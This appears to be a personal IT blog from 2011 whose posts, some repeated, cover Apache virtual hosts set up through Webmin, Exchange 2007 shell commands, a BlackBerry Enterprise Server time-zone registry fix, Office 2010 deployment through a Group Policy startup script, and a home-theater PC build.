Norton Recovery Tool for Norton AntiVirus Recue Bootable CD
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Sunday, 14 August 2011
Norton Recovery Tool for Norton AntiVirus Rescue BootCD
Norton Recovery Tool for Norton AntiVirus Recue Bootable CD
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Monday, 25 July 2011
Host Multiple Domains: Setting Up Virtual Hosts With Webmin
Host Multiple Domains: Setting Up Virtual Hosts With Webmin
If you want to run multiple websites from your VPS, then you can use Apache's support for Virtual Hosts.
First up, where are you going to put your HTML files? You can put the files anywhere you want, but one useful convention is to have a Linux user per virtual host. And to put the HTML files under that user's home directory. This is especially convenient if the user will be uploading files via FTP, since if you chroot the user's FTP access then they can only access files in their home directory.
To setup a user, run something like this:
username=TheDomainNameWithoutAnyDots
adduser $username
passwd $username
mkdir -p ~$username/htdocs
chown -R $username ~$username
Then, to create a virtual host using Webmin:
•Go to your Webmin control panel.
•Upgrade to the latest version of webmin (required if you are running a version older than 1.080, and normally advisable regardless).
•Go to servers.
•Go to Apache WebServer.
•In the 'Create a New Virtual Server' section select "Any Address" (so you do not end up with a hard coded IP addresses in your conf file)
•Enter 80 for Port (and select the last radio button). This way the VirtualHost will co-exist with any SSL-enabled virtual hosts you add later on. SSL-enabled VirtualHosts need to listen on port 443.
•In the "Document Root" field enter where the virtual host HTML files will be. For example, /home/vhostdomain.com/htdocs.
•For "Server Name" enter the domain name for which you want to serve pages. e.g. "vhostdomain.com"
After you have created the Virtual Host, there are a few other things you may wish to edit.
For example, click on the Virtual Host, and go to Networking and Addresses. Enter an "Alternate virtual server names" of *.YourOtherDomain.com. With this setting, your virtual host will serve pages for http://yourotherdomain.com/ as well as http://www.yourotherdomain.com/.
At this point you may also wish to set other options like "Log Files", so the log files for the Virtual Host end up in separate log file from the main server's log files.
To activate your changes, click "Apply Changes" on the main Apache Webmin page.
Of course, be sure to configure your DNS server so the virtual host domain name points to your server's IP address.
Webmin creates a VirtualHost directive in the Apache config file (/etc/httpd/conf/httpd.conf). An example VirtualHost directive looks like this:
<VirtualHost *:80>
DocumentRoot /home/vhostdomain.com/htdocs
ServerName vhostdomain.com
ServerAlias *.vhostdomain.com
</VirtualHost>
See http://httpd.apache.org/docs/2.2/vhosts/examples.html for some more VirtualHost examples.
Resolving: [warn] _default_ VirtualHost overlapon port 80, the first has precedence
If you get this error when restarting Apache, un-comment the NameVirtualHost *:80 line in /etc/httpd/conf/httpd.conf.
Resolving: 403 Forbidden
Unix needs to be able to 'execute' directories in order to open them (not 'read' them as you would expect). If you get a forbidden error, make sure that the directory containing your HTML files and each of its parent directories has chmod o+x set on it. The following script should do that for you:
dir=/home/somevhostdomain.com/htdocs/;
while true; do
# the exit case when we get to the top level directory /
if [ -z "$dir" -o "$dir" = "/" ]; then
break;
fi;
echo chmodding o+x $dir;
# make the directory exectuable (openable) by others
chmod o+x $dir;
# go 'up' a directory
dir=`dirname $dir`;
done
Redirecting an Incoming Request
Somtimes you have content which has been moved or deleted, but you'd like to return something to the client instead of the dreaded 404 response. In this case, you can use the Redirect directive to specify what you want to do:
# Temporary Redirect (code 302)
Redirect /your/path/file.html http:\//yourdomain.com/some/path/file.html
Redirect temp /your/path/file.html http:\//yourdomain.com/some/path/file.html
# Permanent Redirect (code 301)
Redirect permanent /your/path/file.html http:\//yourdomain.com/some/path/file.html
# Moved (code 303)
Redirect seeother /your/path/file.html http:\//yourdomain.com/some/path/file.html
# Gone (code 410)
Redirect gone /your/path/file.html
Note, these do not have to be static html files; the incoming and redirected requests could be to any resource type.
If you want to run multiple websites from your VPS, then you can use Apache's support for Virtual Hosts.
First up, where are you going to put your HTML files? You can put the files anywhere you want, but one useful convention is to have a Linux user per virtual host. And to put the HTML files under that user's home directory. This is especially convenient if the user will be uploading files via FTP, since if you chroot the user's FTP access then they can only access files in their home directory.
To setup a user, run something like this:
username=TheDomainNameWithoutAnyDots
adduser $username
passwd $username
mkdir -p ~$username/htdocs
chown -R $username ~$username
Then, to create a virtual host using Webmin:
•Go to your Webmin control panel.
•Upgrade to the latest version of webmin (required if you are running a version older than 1.080, and normally advisable regardless).
•Go to servers.
•Go to Apache WebServer.
•In the 'Create a New Virtual Server' section select "Any Address" (so you do not end up with a hard coded IP addresses in your conf file)
•Enter 80 for Port (and select the last radio button). This way the VirtualHost will co-exist with any SSL-enabled virtual hosts you add later on. SSL-enabled VirtualHosts need to listen on port 443.
•In the "Document Root" field enter where the virtual host HTML files will be. For example, /home/vhostdomain.com/htdocs.
•For "Server Name" enter the domain name for which you want to serve pages. e.g. "vhostdomain.com"
After you have created the Virtual Host, there are a few other things you may wish to edit.
For example, click on the Virtual Host, and go to Networking and Addresses. Enter an "Alternate virtual server names" of *.YourOtherDomain.com. With this setting, your virtual host will serve pages for http://yourotherdomain.com/ as well as http://www.yourotherdomain.com/.
At this point you may also wish to set other options like "Log Files", so the log files for the Virtual Host end up in separate log file from the main server's log files.
To activate your changes, click "Apply Changes" on the main Apache Webmin page.
Of course, be sure to configure your DNS server so the virtual host domain name points to your server's IP address.
Webmin creates a VirtualHost directive in the Apache config file (/etc/httpd/conf/httpd.conf). An example VirtualHost directive looks like this:
<VirtualHost *:80>
DocumentRoot /home/vhostdomain.com/htdocs
ServerName vhostdomain.com
ServerAlias *.vhostdomain.com
</VirtualHost>
See http://httpd.apache.org/docs/2.2/vhosts/examples.html for some more VirtualHost examples.
Resolving: [warn] _default_ VirtualHost overlapon port 80, the first has precedence
If you get this error when restarting Apache, un-comment the NameVirtualHost *:80 line in /etc/httpd/conf/httpd.conf.
Resolving: 403 Forbidden
Unix needs to be able to 'execute' directories in order to open them (not 'read' them as you would expect). If you get a forbidden error, make sure that the directory containing your HTML files and each of its parent directories has chmod o+x set on it. The following script should do that for you:
dir=/home/somevhostdomain.com/htdocs/;
while true; do
# the exit case when we get to the top level directory /
if [ -z "$dir" -o "$dir" = "/" ]; then
break;
fi;
echo chmodding o+x $dir;
# make the directory exectuable (openable) by others
chmod o+x $dir;
# go 'up' a directory
dir=`dirname $dir`;
done
Redirecting an Incoming Request
Somtimes you have content which has been moved or deleted, but you'd like to return something to the client instead of the dreaded 404 response. In this case, you can use the Redirect directive to specify what you want to do:
# Temporary Redirect (code 302)
Redirect /your/path/file.html http:\//yourdomain.com/some/path/file.html
Redirect temp /your/path/file.html http:\//yourdomain.com/some/path/file.html
# Permanent Redirect (code 301)
Redirect permanent /your/path/file.html http:\//yourdomain.com/some/path/file.html
# Moved (code 303)
Redirect seeother /your/path/file.html http:\//yourdomain.com/some/path/file.html
# Gone (code 410)
Redirect gone /your/path/file.html
Note, these do not have to be static html files; the incoming and redirected requests could be to any resource type.
Friday, 15 April 2011
Exchagne 2007 Commands
The following commands are for the single Exchange Server 2007 scenario
#holding the MailBox, Client Access, Hub Transport roles
#Check the SCP details (Autodiscover Uri):
Get-ClientAccessServer | FL
#Set the new URI for SCP
Get-ClientAccessServer | Set-ClientAccessServer -AutoDiscoverServiceInternalUri https://yourFQDNServer/Autodiscover/Autodiscover.xml
#Check the Web Services URL:
Get-WebServicesVirtualDirectory | FL
#Set the new URL for Web Services:
Get-WebServicesVirtualDirectory | Set-WebServicesVirtualDirectory -InternalUrl https://yourFQDN/EWS/Exchange.asmx -ExternalUrl https://yourFQDN/EWS/Exchange.asmx
#To Install Commercial Certificates for Active Sync OR for Security purpose
#List Certificates in local store:
Get-ExchangeCertificate
#Asign an existing Certificate ofr Exchange Services:
#Enable-ExchangeCertificate
And follow the Screen Steps This will ask for Thumb print of the certificate that you want to enable for any purpose like POP, IIS, SMTP, IMAP
POP = POP3
SMTP = SMTP
IIS= Wemail and Active Sync
IMAP=IMAP
#Additional links:
#How to Install GoDaddy SSL Certificate in IIS6
http://www.netometer.com/video/tutorials/godaddy-ssl-certificate/index.php
#How to Install GoDaddy SSL Certificate in IIS7
http://www.netometer.com/video/tutorials/iis7-godaddy-ssl-certificate/
#run fillowing command from shell to allow and accept External email by Distribution list.
Set-DistributionGroup <"ditribution list name"> -RequireSenderAuthenticationEnabled $False
#holding the MailBox, Client Access, Hub Transport roles
#Check the SCP details (Autodiscover Uri):
Get-ClientAccessServer | FL
#Set the new URI for SCP
Get-ClientAccessServer | Set-ClientAccessServer -AutoDiscoverServiceInternalUri https://yourFQDNServer/Autodiscover/Autodiscover.xml
#Check the Web Services URL:
Get-WebServicesVirtualDirectory | FL
#Set the new URL for Web Services:
Get-WebServicesVirtualDirectory | Set-WebServicesVirtualDirectory -InternalUrl https://yourFQDN/EWS/Exchange.asmx -ExternalUrl https://yourFQDN/EWS/Exchange.asmx
#To Install Commercial Certificates for Active Sync OR for Security purpose
#List Certificates in local store:
Get-ExchangeCertificate
#Asign an existing Certificate ofr Exchange Services:
#Enable-ExchangeCertificate
And follow the Screen Steps This will ask for Thumb print of the certificate that you want to enable for any purpose like POP, IIS, SMTP, IMAP
POP = POP3
SMTP = SMTP
IIS= Wemail and Active Sync
IMAP=IMAP
#Additional links:
#How to Install GoDaddy SSL Certificate in IIS6
http://www.netometer.com/video/tutorials/godaddy-ssl-certificate/index.php
#How to Install GoDaddy SSL Certificate in IIS7
http://www.netometer.com/video/tutorials/iis7-godaddy-ssl-certificate/
#run fillowing command from shell to allow and accept External email by Distribution list.
Set-DistributionGroup <"ditribution list name"> -RequireSenderAuthenticationEnabled $False
Saturday, 5 February 2011
Calendar appointments that are created on the BlackBerry smartphone set to an Australia Time Zone appear one hour earlier
Overview
Where BlackBerry® smartphones are set to AUS Eastern Standard Time or AUS Western Time Zone, and the BlackBerry Enterprise Server and Microsoft environments have been updated with the latest DST updates (referenced in KB19980), creating a calendar appointment on the BlackBerry smartphone or receiving a calendar appointment from a BlackBerry smartphone causes the appointment to appear in the Microsoft® Outlook® Web Access mailbox as one hour ahead of its intended time.
The appointment will appear for the correct time when it is created using Microsoft Outlook Web Access or Microsoft Outlook, both on the BlackBerry smartphone and in Microsoft Outlook Web Access.
Environment
Cause
When the BlackBerry Enterprise Server is installed, the registry information that is created for AUS Eastern Standard Time or AUS Western Standard Time does not include the correct time zone registry entry for Daylight Savings Time. As a result, when a calendar appointment is created on the BlackBerry smartphone, the BlackBerry Enterprise Server uses the time zone information within its current registry information and places the appointment one hour outside of the intended time.
Resolution
Warning: The following procedure involves modifying the computer registry. This can cause substantial damage to the Windows® operating system. Document and back up the registry entries before implementing any changes.
Important: Restarting certain BlackBerry Enterprise Server services delays email message delivery to BlackBerry smartphones. For more information, see KB04789.
For 64-bit Operating Systems:
1. Stop all BlackBerry Enterprise Server services.
2. Back up the registry on the BlackBerry Enterprise Server.
3. Delete HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Research In Motion\BlackBerry Enterprise Server\Time Zones
4. Import Update_for_CDO_(CDO VERSION 2003 or 2007) 64bit.reg from the Attachments section.
For 32-bit Operating Systems:
1. Stop all BlackBerry Enterprise Server services.
2. Back up the registry on the BlackBerry Enterprise Server.
3. Delete HKEY_LOCAL_MACHINE\SOFTWARE \Research In Motion\BlackBerry Enterprise Server\Time Zones
4. Import Update_for_CDO_(CDO VERSION 2003 or 2007).reg from the Attachments section.
Note: (CDO VERSION 2003 or 2007) relates to the following:
Where BlackBerry® smartphones are set to AUS Eastern Standard Time or AUS Western Time Zone, and the BlackBerry Enterprise Server and Microsoft environments have been updated with the latest DST updates (referenced in KB19980), creating a calendar appointment on the BlackBerry smartphone or receiving a calendar appointment from a BlackBerry smartphone causes the appointment to appear in the Microsoft® Outlook® Web Access mailbox as one hour ahead of its intended time.
The appointment will appear for the correct time when it is created using Microsoft Outlook Web Access or Microsoft Outlook, both on the BlackBerry smartphone and in Microsoft Outlook Web Access.
Environment
- BlackBerry® Enterprise Server 4.1 to 5.0
- Microsoft® Exchange 2003 to 2010
- SDR146875
Cause
When the BlackBerry Enterprise Server is installed, the registry information that is created for AUS Eastern Standard Time or AUS Western Standard Time does not include the correct time zone registry entry for Daylight Savings Time. As a result, when a calendar appointment is created on the BlackBerry smartphone, the BlackBerry Enterprise Server uses the time zone information within its current registry information and places the appointment one hour outside of the intended time.
Resolution
Warning: The following procedure involves modifying the computer registry. This can cause substantial damage to the Windows® operating system. Document and back up the registry entries before implementing any changes.
Important: Restarting certain BlackBerry Enterprise Server services delays email message delivery to BlackBerry smartphones. For more information, see KB04789.
For 64-bit Operating Systems:
1. Stop all BlackBerry Enterprise Server services.
2. Back up the registry on the BlackBerry Enterprise Server.
3. Delete HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Research In Motion\BlackBerry Enterprise Server\Time Zones
4. Import Update_for_CDO_(CDO VERSION 2003 or 2007) 64bit.reg from the Attachments section.
For 32-bit Operating Systems:
1. Stop all BlackBerry Enterprise Server services.
2. Back up the registry on the BlackBerry Enterprise Server.
3. Delete HKEY_LOCAL_MACHINE\SOFTWARE \Research In Motion\BlackBerry Enterprise Server\Time Zones
4. Import Update_for_CDO_(CDO VERSION 2003 or 2007).reg from the Attachments section.
Note: (CDO VERSION 2003 or 2007) relates to the following:
- Microsoft Exchange 2003: CDO 6.5.7653.21 to 6.5.7974.0
- Microsoft Exchange 2007: CDO 6.5.8131
- Attachments of Required CDO
Monday, 31 January 2011
Deploying Office 2010 in a test environment
This article provides detailed technical guidance on the processes and procedures when you use Group Policy to assign computer startup scripts to deploy Microsoft Office 2010. A script can be written in any language that is supported by the client computer. Windows Script Host-supported languages, such as VBScript and Jscript, and command files, such as a batch file, are the most common.
This section provides an illustration and description of the test network environment for the Group Policy computer startup script infrastructure. It also includes procedural steps for deploying Microsoft Office Professional Plus 2010 by using a Group Policy computer startup script.
The test network environment for this article is shown in the following illustration.
All of the servers (A and B) are running Windows Server 2008 R2 and are members of the same domain (CPANDL.COM), including the client computers (C), which are running Windows 7 Professional and Windows Vista. The fully qualified domain name (FQDN) for each client computer, the applications and roles that each server is running, the organizational unit (OU) with included computers, and the Group Policy object (GPO) are listed as follows:
Before you customize and deploy Office 2010 in your production environment, we recommend that you read the following articles: Plan volume activation of Office 2010, Deploy volume activation of Office 2010, Customization overview for Office 2010, Create a network installation point for Office 2010, Office Customization Tool in Office 2010, Config.xml file in Office 2010, Customize Office 2010, and 64-bit editions of Office 2010.
The program file to create a setup customization file for Office 2010 is run from the source directory that contains a copy of all the files from the Office installation CD. In this example, the source files were copied to \\FS\Office2010SourceFiles.
In Office 2010, Setup controls the complete installation. This includes processes that Windows Installer handled in Office versions earlier than the 2007 Office system. Customizing the default behavior of Setup lets you control the process. In this example, you use the Config.xml file to customize the installation for a silent installation of Office 2010 and the Office Customization Tool (OCT) to customize the installation of Office 2010 products, such as specifying the volume license key and selecting which applications from Microsoft Office to install. Setup applies the customizations from both the config.xml and .msp file (created by using the OCT) when Office is installed on the computers.
To specify silent installation options in Config.xml
To configure a silent installation (unattended installation) of an Office 2010 product that requires no user interaction, modify the Config.xml file for the product that you are installing and set the Display element's Level attribute to "none" (Display Level="none"), and then save the Config.xml file, as shown in the following procedure. The Display element specifies the level of user interface that Setup displays to users.
To specify the volume license key and select which applications to install using the OCT
The next step is to configure the script on the domain controller, which in this example is DC.CPANDL.COM.
The process for configuring the script on the domain controller involves the following steps:
Copy script to startup folder for GPO
This example includes a sample batch file script, which illustrates how to run Microsoft Office Setup.exe if the product is not already installed and log error or success to a centralized log file. The variables at the beginning of the script were modified for this test deployment scenario. For example, the product name of ProPlus with a prefix of Office14 and the paths for the Office source files, \\FS\Office2010SourceFiles, and log files, \\FS\Office2010LogFiles, were added. This sample script was then copied to Notepad and saved with the file name of Office2010StartupScript.bat. The script file is then saved on the domain controller to the default directory of the GPO for startup scripts, which in this example is C:\Windows\SYSVOL\sysvol\adatum.com\Policies\{GUID of GPO}\Machine\Scripts\Startup.
Add script to GPO
To add the script to the GPO use the MMC snap-in Group Policy Management Editor and right-click Startup (GPO | Computer Configuration | Policies | Windows Settings | Scripts (Startup/Shutdown) | Startup), click Properties, Add, Browse and then highlight and select the script file, which in this example is Office2010StartupScript.bat.
Set maximum run time for startup script
By default, the system lets combined sets of scripts run for up to 600 seconds (10 minutes) only. Administrators can use a policy setting to adjust this interval to ensure the startup script completes running. The Maximum wait time for Group Policy scripts policy setting specifies how long the system waits for scripts applied by Group Policy to run. This setting limits the total time allowed for all logon, startup, and shutdown scripts applied by Group Policy to finish running. As with any Group Policy deployment, you must fully test your startup scripts in a staging environment before you deploy them to your production environment. Testing will help you determine the value to use for the Maximum wait time for Group Policy scripts policy for your particular network environment. Setting this value too low may cause the installation to terminate prematurely. There are factors that may affect this value, such as network speed, client computer hardware, and other scripts running on the client computer. By fully testing this policy setting, you can determine the appropriate value to use for your specific environment.
In this example scenario the value for the Maximum wait time for Group Policy scripts policy setting was set to 0, which directs the system to wait until the scripts have finished, regardless of how long they take.
To change the value of the Maximum wait time for Group Policy scripts policy of the GPO, which in this example is Office2010_GPO, use the MMC snap-in Group Policy Management Editor and double-click Maximum wait time for Group Policy scripts (GPO | Computer Configuration | Policies | Administrative Templates | System | Scripts).
After the computer startup script policy changes that have been made to the GPO are applied to the targeted computers, which in this example are W7C01.CPANDL.COM and WVC02.CPANDL.COM, then the computer startup script will execute by a computer startup. Instead of waiting for the policy refresh from the domain controller to take place on the client computers, you can issue the following command line, gpupdate /force, at a command prompt on the client computers. You can use the Resultant Set of Policy (RSoP) MMC snap-in to verify that the computer policy setting for the computer startup script is present on the client computer.
In this example, script logging information is written to computername.txt file and saved to the network share, \\FS\Office2010LogFiles. A return code of 0 in the log file indicates that the installation completed successfully. A return code of 3010 indicates that a restart is required. For more information about other error codes for Windows Installer processes for Office products, see Microsoft Knowledge Base article 290158: List of error codes and error messages for Windows Installer processes in Office 2003 products and Office XP products.
Deploying Office 2010 in a test environment
This section provides an illustration and description of the test network environment for the Group Policy computer startup script infrastructure. It also includes procedural steps for deploying Microsoft Office Professional Plus 2010 by using a Group Policy computer startup script.
Network environment
The test network environment for this article is shown in the following illustration.
All of the servers (A and B) are running Windows Server 2008 R2 and are members of the same domain (CPANDL.COM), including the client computers (C), which are running Windows 7 Professional and Windows Vista. The fully qualified domain name (FQDN) for each client computer, the applications and roles that each server is running, the organizational unit (OU) with included computers, and the Group Policy object (GPO) are listed as follows:- A – <DC.CPANDL.COM> Active Directory, DNS, DHCP, GPO-Office2010_GPO, OU-Office2010_OU, W7C01 and WVC02 are members of the OU, Office2010_OU
- B – <FS.CPANDL.COM> File Services, file share-\\FS\Office2010SourceFiles (Read Only access), file share-\\FS\Office2010LogFiles (Read Write access)
- C – <W7C01.CPANDL.COM and WVC02.CPANDL.COM> Windows 7 Professional and Windows Vista Enterprise
 Important: |
|---|
| Ensure that Authenticated Users have Read access to the network share. In this example, the network share is \\FS\Office2010SourceFiles. |
 Note: |
|---|
| Office2010_GPO is linked to Office2010_OU. This allows for the settings of the GPO to be assigned to the computer objects that are contained within the OU. To link a GPO to an OU use the MMC snap-in Group Policy Management. |
Before you customize and deploy Office 2010 in your production environment, we recommend that you read the following articles: Plan volume activation of Office 2010, Deploy volume activation of Office 2010, Customization overview for Office 2010, Create a network installation point for Office 2010, Office Customization Tool in Office 2010, Config.xml file in Office 2010, Customize Office 2010, and 64-bit editions of Office 2010.
Customize Setup for Office 2010
The program file to create a setup customization file for Office 2010 is run from the source directory that contains a copy of all the files from the Office installation CD. In this example, the source files were copied to \\FS\Office2010SourceFiles.
In Office 2010, Setup controls the complete installation. This includes processes that Windows Installer handled in Office versions earlier than the 2007 Office system. Customizing the default behavior of Setup lets you control the process. In this example, you use the Config.xml file to customize the installation for a silent installation of Office 2010 and the Office Customization Tool (OCT) to customize the installation of Office 2010 products, such as specifying the volume license key and selecting which applications from Microsoft Office to install. Setup applies the customizations from both the config.xml and .msp file (created by using the OCT) when Office is installed on the computers.
To specify silent installation options in Config.xml
To configure a silent installation (unattended installation) of an Office 2010 product that requires no user interaction, modify the Config.xml file for the product that you are installing and set the Display element's Level attribute to "none" (Display Level="none"), and then save the Config.xml file, as shown in the following procedure. The Display element specifies the level of user interface that Setup displays to users.
- Open the Config.xml file for the Office product, which in this example is Office Professional Plus 2010, that you are installing by using a text editor tool, such as Notepad. By default, the Config.xml file is located in the core products .WW folder, which in this example is \\FS\Office2010SourceFiles\ProPlus.WW.
- Locate the line that contains the Display element, as shown in the following example:
<!-- <Display Level="full" CompletionNotice="yes" SuppressModal="no" AcceptEula="no" /> --> - Modify the Display element entry with the silent options that you want to use. Make sure that you remove the comment delimiters, "<!--" and "-->". For example, use the following syntax:
<Display Level="none" CompletionNotice="no" SuppressModal="yes" AcceptEula="yes" />
These options will direct Setup to run silently, prevent prompting users to enter information, and prevent the installation from waiting for any user interaction. For more information about the syntax and Config.xml, see Display element in Config.xml file in Office 2010. - Save the Config.xml file, which in this example is saved to \\FS\Office2010SourceFiles\ProPlus.WW.
To specify the volume license key and select which applications to install using the OCT
- To customize Office Setup, use the command line setup.exe /admin to start the Office Customization Tool. In this example, at a command prompt, run setup.exe /admin from the package source directory, \\FS\Office2010SourceFiles.
- In this example, to enter the volume license key and select which applications to install, modify and configure the settings as follows:
- Select the Enter another product key option located under Licensing and user interface, and then enter a valid Multiple Activation Key (MAK) key.Note:
In this example, because the parameters for a silent installation were configured in the Config.xml file, it is not necessary to also configure them when using the OCT. This is because the customizations that you define in Config.xml take precedence over those in the customization file created by using the OCT. - Select the Set feature installation option located under Features, and then select which applications to install. In this example, to speed up the installation process, only Microsoft Word was selected.
For additional resources on some of the different parameters you can configure when you use the OCT, see Office Customization Tool in Office 2010, Configure feature installation states for Office 2010, and Configure user settings for Office 2010. - Save and name the newly created .msp file, and then put it in the \Updates folder for Office 2010 on the computer that contains the source files, which in this example is \\FS\Office2010SourceFiles\Updates\Office2010ProPlus.MSP.
 Caution: |
|---|
| Only one Setup customization .msp file per product in the Updates folder is supported. If you are deploying an initial installation of Office 2010 and you also want to deploy Office 2010 software updates, such as service packs and hotfixes, Setup can apply the product updates as part of the installation process. You can place the Office 2010 product updates, which are applied after the installation is complete, in the Updates folder. For more information, see Office Customization Tool in Office 2010 |
The next step is to configure the script on the domain controller, which in this example is DC.CPANDL.COM.
Configure script on domain controller
The process for configuring the script on the domain controller involves the following steps:
- Copy script to startup folder for GPO.
- Add script to GPO.
- Set maximum run time for startup script.
 Warning: |
|---|
| Group Policy provides the ability to affect configurations across hundreds and even thousands of computers in an organization. Therefore, it is very important that you rigorously test all new Group Policy configurations or deployments in a test environment before you move them into your production environment. For detailed information about staging Group Policy deployments, see Staging Group Policy Deployments in the Group Policy Planning and Deployment Guide (http://go.microsoft.com/fwlink/?LinkID=182208&clcid=0x409). |
Copy script to startup folder for GPO
This example includes a sample batch file script, which illustrates how to run Microsoft Office Setup.exe if the product is not already installed and log error or success to a centralized log file. The variables at the beginning of the script were modified for this test deployment scenario. For example, the product name of ProPlus with a prefix of Office14 and the paths for the Office source files, \\FS\Office2010SourceFiles, and log files, \\FS\Office2010LogFiles, were added. This sample script was then copied to Notepad and saved with the file name of Office2010StartupScript.bat. The script file is then saved on the domain controller to the default directory of the GPO for startup scripts, which in this example is C:\Windows\SYSVOL\sysvol\adatum.com\Policies\{GUID of GPO}\Machine\Scripts\Startup.
| Note: |
|---|
| The GUID representing the GPO can be found in the MMC snap-in Group Policy Management Editor by right-clicking the GPO, which in this example is Office2010_GPO, and then clicking Properties. The GUID is listed in the Unique name field. |
setlocal
REM *********************************************************************
REM Environment customization begins here. Modify variables below.
REM *********************************************************************
REM Get ProductName from the Office product's core Setup.xml file, and then add "office14." as a prefix.
set ProductName=Office14.PROPLUS
REM Set DeployServer to a network-accessible location containing the Office source files.
set DeployServer=\\FS\Office2010SourceFiles
REM Set ConfigFile to the configuration file to be used for deployment (required)
set ConfigFile=\\FS\Office2010SourceFiles\ProPlus.WW\config.xml
REM Set LogLocation to a central directory to collect log files.
set LogLocation=\\FS\Office2010LogFiles
REM *********************************************************************
REM Deployment code begins here. Do not modify anything below this line.
REM *********************************************************************
IF NOT "%ProgramFiles(x86)%"=="" (goto ARP64) else (goto ARP86)
REM Operating system is X64. Check for 32 bit Office in emulated Wow6432 uninstall key
:ARP64
reg query HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432NODE\Microsoft\Windows\CurrentVersion\Uninstall\%ProductName%
if NOT %errorlevel%==1 (goto End)
REM Check for 32 and 64 bit versions of Office 2010 in regular uninstall key.(Office 64bit would also appear here on a 64bit OS)
:ARP86
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ProductName%
if %errorlevel%==1 (goto DeployOffice) else (goto End)
REM If 1 returned, the product was not found. Run setup here.
:DeployOffice
start /wait %DeployServer%\setup.exe /config %ConfigFile%
echo %date% %time% Setup ended with error code %errorlevel%. >> %LogLocation%\%computername%.txt
REM If 0 or other was returned, the product was found or another error occurred. Do nothing.
:End
Endlocal
Add script to GPO
To add the script to the GPO use the MMC snap-in Group Policy Management Editor and right-click Startup (GPO | Computer Configuration | Policies | Windows Settings | Scripts (Startup/Shutdown) | Startup), click Properties, Add, Browse and then highlight and select the script file, which in this example is Office2010StartupScript.bat.
Set maximum run time for startup script
By default, the system lets combined sets of scripts run for up to 600 seconds (10 minutes) only. Administrators can use a policy setting to adjust this interval to ensure the startup script completes running. The Maximum wait time for Group Policy scripts policy setting specifies how long the system waits for scripts applied by Group Policy to run. This setting limits the total time allowed for all logon, startup, and shutdown scripts applied by Group Policy to finish running. As with any Group Policy deployment, you must fully test your startup scripts in a staging environment before you deploy them to your production environment. Testing will help you determine the value to use for the Maximum wait time for Group Policy scripts policy for your particular network environment. Setting this value too low may cause the installation to terminate prematurely. There are factors that may affect this value, such as network speed, client computer hardware, and other scripts running on the client computer. By fully testing this policy setting, you can determine the appropriate value to use for your specific environment.
In this example scenario the value for the Maximum wait time for Group Policy scripts policy setting was set to 0, which directs the system to wait until the scripts have finished, regardless of how long they take.
To change the value of the Maximum wait time for Group Policy scripts policy of the GPO, which in this example is Office2010_GPO, use the MMC snap-in Group Policy Management Editor and double-click Maximum wait time for Group Policy scripts (GPO | Computer Configuration | Policies | Administrative Templates | System | Scripts).
After the computer startup script policy changes that have been made to the GPO are applied to the targeted computers, which in this example are W7C01.CPANDL.COM and WVC02.CPANDL.COM, then the computer startup script will execute by a computer startup. Instead of waiting for the policy refresh from the domain controller to take place on the client computers, you can issue the following command line, gpupdate /force, at a command prompt on the client computers. You can use the Resultant Set of Policy (RSoP) MMC snap-in to verify that the computer policy setting for the computer startup script is present on the client computer.
Verify computer startup script status
In this example, script logging information is written to computername.txt file and saved to the network share, \\FS\Office2010LogFiles. A return code of 0 in the log file indicates that the installation completed successfully. A return code of 3010 indicates that a restart is required. For more information about other error codes for Windows Installer processes for Office products, see Microsoft Knowledge Base article 290158: List of error codes and error messages for Windows Installer processes in Office 2003 products and Office XP products.
Tuesday, 4 January 2011
A Living-Room Media Center PC
Most home entertainment setups consist of a bunch of devices that let you view (LCD, plasma TV), play (Blu-ray), store (TiVo, DVR), stream (Apple TV), and interact (Xbox 360, PS3) with rich HD content, but none of them on their own can match the sheer feature power of a home-theater PC (HTPC). An HTPC can do all these things, and more. It's your home's central hub for storing, distributing, and enjoying all types of digital content including pictures, videos, music, and movies. Record digital and over-the-air HD programming? No problem. Stream music and access the Web? Piece of cake. Play HD movies and the occasional game? Puh-lease, your HTPC has it covered. In fact, with so many features, an HTPC can negate the need for other components; eliminating clutter while reducing energy usage. And if you build it yourself, you may even save some cash.
Of course, because of some specialized components, building an HTPC requires a few more steps than putting together a standard productivity rig. (Most office workers don't really need a Blu-ray player.) Nonetheless, the time you put in will reap huge rewards. Our step-by-step guide shows you how to get the job done with ease. (Prices for products cited are all list.) You'll be kicking back on your couch in no time.
A great home-theater PC starts with a superior case. We chose the SilverStone Grandia Micro-ATX GD02B chassis ($159.99; all prices given here are list) for a number of reasons. Size-wise, it isn't bulky like most living-room media-center cases—it's about the size of a small audio receiver. Despite its compact form factor, it can fit a lot of components, including dual internal hard drives, a 5.25-inch optical drive, four expansion slots, and up to an 11.5-inch video card.
A great home-theater PC also successfully balances power, cooling, and quiet. For the motherboard, we picked the ASUS M3A78-EMH HDMI ($89.99), well-priced considering how much expandability it allows. The 45-watt AMD Athlon X2 4850e CPU ($77) offers fast performance while staying cool and stable. Keeping cool is important when stacking an HTPC amid other components in a setup, but the system should also emit minimal noise. That's why we chose the quiet and fanless SilverStone NT01 heat sink ($50.99). When used with the Grandia GD02B, the NT01 receives additional cooling assistance from the case's internal fans. A 500GB Western Digital Caviar Green Power (WD5000AACS) 7,200-rpm SATA hard drive ($74.99) runs cooler than standard SATA drives. I also used 2GB of Crucial 667-MHz DDR2 SDRAM ($42.99). Additionally, the SilverStone 500-watt SST-ST50EF-Plus power supply ($89.99) is energy efficient, producing less heat and operating relatively quietly compared with other power supplies in its class.
To get the system online, I used CNet's inexpensive internal wireless G PCI adapter, which is not only cost-effective (I found one for $21.19) but excels at getting the job done when you're Web browsing, streaming music, and downloading HD content. A Super Talent 16-in-1 card reader ($9.99) is fine for viewing digital photos directly on a large screen.
Blu-ray is the obvious choice (well, only choice) for enjoying optical-based HD movies from nearly every movie studio—and it's also a convenient backup and storage tool. One of the better values available is Lite-On's DH-4B1s Blu-ray writer ($299.99). Its 4X Blu-ray disc-writing capabilities are perfect for storing large files and creating your own HD home movies. ATI's recently released All-In-Wonder HD card ($219.99) is a key component. Not only does it have high-definition PVR capabilities (over the air HD, analog, and digital), but it also allows full 1080p Blu-ray playback and can handle moderate gaming tasks pretty well.
